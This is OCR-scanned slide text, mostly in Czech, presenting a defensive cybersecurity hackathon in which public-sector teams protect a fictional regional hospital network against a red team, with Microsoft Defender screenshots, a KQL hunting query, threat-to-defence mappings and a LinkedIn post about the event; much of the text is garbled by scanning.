@ Starting June 1, 2023, management of unused apps, unused credential, and expiing credentils wi ony be avalable 10 3pp govemance customers with MiciosoftEnvra Workoad§ ~ ummary  Datausage  Users  Permissions  Sensitivity labels
Overview  Azure AD  Alerts  Policies App name App ID
| ———— reader

¥ Export
Filter %5 Save the query i Resst N3 Filters

APlaccess: Any v Privilege level: Any ¥ Permission usage: Any ¥ Permission type: Any *  Publisher verified; Any s..-g

App name 1 App status (D Graph AP| access (O Permission type (D) Consenttype () Publisher (O Last modified (O
Adobe Acrobat Reader © Enabled Yes Delegated Admin Adobe Inc. & - ‘
Adobe Acrobat Reader for PDF @ Enabled Yes Delegated User (5) N/A -
Alvao_Mailbox_Reader @ Enabled Yes Detegated Admin N/A -
Ammmgmswmmﬁ @ Enzbled No Application Admin N/A Cornisent grants
All app activities in the last 30 days All app consent grants in the last 20 days




Advanced huntil‘lg Q Help resources @ Query resources report [0 Schema reference

 New query* X « New query X  Active Directory using SAMR* X “ New query* X “ New query* X  New query* X “ New query* X “# New query* X 4

Hunting Schema  Functions Queries . < [ Setin query v Save v 2 Share link B Create detection rule
Advanced hunting O Search / Query

Custom detection rules = (& Query msults are presented in your local Time 2one as per sottings. Kusto fillers, however, work in UTC. Don't want to see it again

Alerts & behaviors i ivities i i
AT BeRe A B ions Iz rxnd-all the 3cnvxfxes involving the cloud app in last 30 days
let appid = (i : dynamic )
v B Akntvidence
Threat intefligence

case

(

v BB Behaviodntities : | wWorkload “sharepoint™, {.Applicationld,

. ) 1.Workload “Exchange”, iff(isempty(i.ClientappId), [.AppId, I.ClientAppld),
Leaming hub v Wl Benhaviorinfo : L.Workload == “Onebrive”, L.Applicationld,

1. Workload “MicrosoftTeans™, |,AppAccessContext.Clientappld,

Trials “Unknown
Apps & identities )

v B Aermato
Secure score

Partner catalog 3

Vv @ AADSignintventsBeta IowdhppEvents

where ((RawEventData.Workload == “SharePoint™ or RawEventData.Workload == "OneDrive") and (ActionType == "FileuUploaded" or Actioniype ==

extend Appld = appid(RawEventData)

where Appld == " £

where Timestamp between (datetime({ 2024-01-17 ©9:00:00Z")..30d)

extend tostring(RawEventData.ld)

summarize arg max(limestamp, *) by RawEventData Id
20 sort by Timestamp desc

B \dentitylogonFvents : 21 project Timestamp, OAuthApplicationld = Appid, Reportld, Accountld, AccountObjectld, AccountDisplayMame, [PAddress, UserAgent, Workload =
22 | limit 1000

v BE AADSpaSigninEventsiieta
v BE CoudAppEvents
Il tdentityDirectoryEvents

e
@
e
%
t
od
F
=1
R

B8 cenutyinto

——— ———— — |

W scentityCueryEvents

Getting started Results  Query history
Email & collaboration

| Export 4 items [ DO Search @ 00:03484 man Lowo k2 Charttype v [[J Customize columns
v [l tmatttachmentinto

v B Emaitvents Accountid AccountObjectld AccountDisplayName IPAdress UserAgent ActionType
v B EmadPostOeliveryEvents
£41b38b2-9391-4d30-9... 841b38b2-9391-4d30-9... 20.190.183.26 okhttp/4.10.0
MW emaiudinto
. 841b3852-9391-4d30-G.. 841638b2-9391-4d30-9.., Wi 20,190,183.26 okhttp/a,10.0
BE UnCuaEwents
5. 841b38b2-9391-4430-9.. 841b38b2-9391-4d30-9.., « 20,190.190.99 okhttp/4.10.0

Devices 6... 841b3862-9391-4d30-9.. 841638b2-9391-4d30-9.., 1 20.190.190.99 okhttp/4.10.0

P € B » &£ & ®» &

v B DeviceEvents




Microsoft Defender

B
§

App governance $ What'snew [} Leam more

Email & collaboration ~ Get in-depth visibility and control aver OAuth apps integrated with Azure Active Directory, Googie, and Salesforce.
(D We've autamatically tumed on apn govemance. Lesm mons sbout cur dats secufity ant privacy praciices

(0] Starting June 1, 2023, management of unused apps, unused credentials, and expiring credentials will only be available to app g e ¢ with Micrasoft Entra Workload identities Premium. Try Workioad Identities b 4

Overview Azure AD  Alerts  Policies

heergoe=m s od
t

Thwsat femsias 4 Export 5itemsl £ reader X J;—— v [[@ Customize columns

Exchange message race

— Filter &3 Save the quary Res=t 2 Filters

e APtaccess: Any ~  Priviloge level: Any ~  Permission usage: Any ~  Permission type: Any v Publisher vesified: Any ~  Services accessed: Any Sensitivity labels accessed: Any
& i . App name T App status () Graph AP aecess () Permission type () Consenttype ()  Publisher O Last modified () Added on (O Permission usage () Data usage (O Privilege level
% Cloud discovery Adobe Acrobat Reader © Enabled Yes Delegated Admin Adobe Inc, @ - 31 Aug 2021 1409 Some unused 0 O%) wa. Hgh
e topreiia Adobe Acrobat Reader for PDF @ Enabled vos Delegated User (5) N/A . 5 Feb 2021 10:39 Some urised 0 (0%) e Hogh
& Outh apps Alvso_Mailbox_Reader © Enabled Yes Delegatad Admin N/A - 26 Aug 2022 10:07 N/A 0i0%) aun low

lﬂ App governance AzureLogAnalyticsReaderforPo.. @ Enabied No Application Admin N/A 28 Jan 2024 1444 28 Jan 2024 1442 N/A 0% mmn None

B res s 0 Dmmityue s A [ -
& Activity log
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Evoluce a dalsi smerovani

Evoluce
Konzultace > Architektura/Engineering > Workshopy > Assessmenty/(Pen)testy > Operations (SOC) > PurpleTeaming >
Hackatony > ?

Typy hackatonu
Infrastruktura > DevOps > Containers and Al > Data/Al > Cyber Security
Hackatony > ?

Kompetencni ramec
Blue / Red / Coach



Cile a vystupy

Pokryta oblast / cile Provedeni a vystupy

Pripravenost

Komunikace
Spoluprace
Rizeni

Proaktivita
Reakce

Provéreni SIEM, EDR, SOAR, ticketing, vyroba a testovani playbooku

Koordinace s CSIRTy/CERTy, regulatory, verejnosti, zameéstnanci, vedenim
organizace a reporting

Komunikace mezi urovneémi (Level 1-3), sdileni poznatku a koordinace prace
s administatory

Tvorba rozhodnuti pod tlakem, fizeni mitigace, fizeni reakce, rizeni tymu,
posuzovani dopadu,

Proaktivni vyhledavani hrozeb a utocnika i bez alertu/incidentu

Incident Response, zamezeni/omezeni dopadu, obnova continuity
organizace



Hackaton Story
Nemocnice Kralovec

Regionalni nemocnice

V Kraloveckém kraji spravujeme sit regionélnich nemocnic. Kazda z nick

Seznam regionalnich nemochnic:

Nemocnice Husovice - husovice.nemocnice-kralovec.cz
Nemocnice Slavonice - slavonice.nemocnice-kralovec.cz
Nemocnice Severni Nemanice - nemanice.nemocnice-kralovec.cz

Nemocnice BeneSov nad Baltem - benesov.nemocnice-kralovec.cz

Sluzby

Emergency péte

Kormpa sy pototoeesind phle
dostepnd 24 hadin dennd, 7
On v 1ydau pro viechny
pacenty v Krdowockim kol

Paradanské kiiniky

Specislyovmné porasecstl v
ot emtech wylivy, (ehetiilece
paychologie & delbics
dvavatich shidele

Diagnastickd radiologie

Mozersl dlagrastizhd wiavand
vietné CT. MRS 2 semipescvich
phstrodi pro pleseoy
diagnoatieu

Pro detailni informace o oddélenich, ordinacnich hodinach a kontaktech navstivte webové stranky prislusné nemocnice.

O ey

Chirurgické oddéleni

Spithoet shrurgokd Tpmy
zamiierst na yiecbeotou |
specialzovonon operative &
vpuditin nanoviiicn sechivk.

+ Nemocnice Kralovec
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Replontby nemacnes  Worrakt

Interni medicina
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Phvehdte biag Se Celaal aleton e 0 ATl s are st o
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Hrozby, projevy a obrana

PROJEVY/DOPADY

HROZBA

OBRANA (znalost, technologie a

postupy)

Verejny Ulozny prostor jako zadni vratka
Napadena webova stranka — kdo to tam napsal?!
Sdileny ucet

Systémovy Ucet pod kontrolou Utoc¢nika
Aplikace, ktera si bere vic, nez slibila
Zapomenuty kli¢ ke kontejneru

Host, ktery otevrel dvere Gtocnikovi
Falesna bezpecnost — zadal jsi CAPTCHA
Napadeny kolega laka do pasti
Dodavatel, ktery neni tim, kym se zda byt
Anonymni prizkumnik v nasi siti

Soubor, ktery ziskal moc nad doménou
Databaze jako vstupenka do domény
Hash, klice, zasifrovano a pak vykupné
Stara technologie, nové problémy

CTG monitor na dalkové ovladani
Ztraceny notebook — pozvanka

Laborator posila divné vysledky — a neni to omyl
Dneska mas nocni? Klikni zde...

Doktor s cloudem v kapse

ProC nam prestali prat pradlo

Social Engineering

Vulnerabilities
Insider
Supply Chain
Compromised Identity
Shadow IT

Ransomware

EntralD, MDO (threat policies, safe links,
safe attachments), Compliance,
EDR/Defender, SIEM/Sentinel

MDE/MDC/VM, ASR, Application Guard,
Intune, SIEM/Sentinel, EASM

Information Protection / PurView, DLP
EntralD

CloudApps, CAP, EDR/Defender,
SIEM/Sentinel

EntralD roles, Risky sign-ins/users, MFA,
CAP, PIM, RBAC, passwordless

MDE, CloudApps, EASM, Intune

MDE, ASR, EntralD, UEBA, EDR/Defender,
SIEM/Sentinel



Michaela Onuferova - 1

Microsoft & Al Enthusiast | Speciakzing m Public Secto

1w« Edited - ®
Vite, co se déje tento tyden v nasi budové? Tymy Sprava
Zeleznic, state organization, Air Navigation Services of the
Czech Republic, Reditelstvi silnic a dainic s. p. a CENDIS s.p.
brani fiktivni nemocnici Krdlovec pfed nadupanym Red Teamem
Z Noibit, A bojuli se cti!

Tenhle Security Hackaton nam v3em vyrazil dech, viechna cest
kolegiim z Noibit, Akce je vymazlena do poslednich detaills
véetné vyuziti generativni Al nebo fiktivnich person pro
“opravdovost” celé akce (otravného problematického feditele
Augustuse, ktery obéas prudi tymy pred telefon, by nejradsi
kazdy shodil z nasi terasy).

Velmi sl vaZime aslli a pfipravdm ze strany Noibit | &asu a energil,
které vénuji celé akci kolegové z vefejné spravy - protoZe
nadupani profesiondlové v oblasti kybernetické bezpe&nosti jsou
ve vefejné spravé potfeba dvojndsob. A "ti nasi" jsou fakt dobf
=)




Vysoce kolaborativni / tymové
Pripravené na miru

Zalozené na datech a analyze
Realistickeé, vcetne roli
Inovativni, edge technologie

Vysoce strukturované, ale umoznujici
reagovat na meénici se podminky v
realném case

Narocné, adrenalinovy zazitek
Mobilni




Q&A
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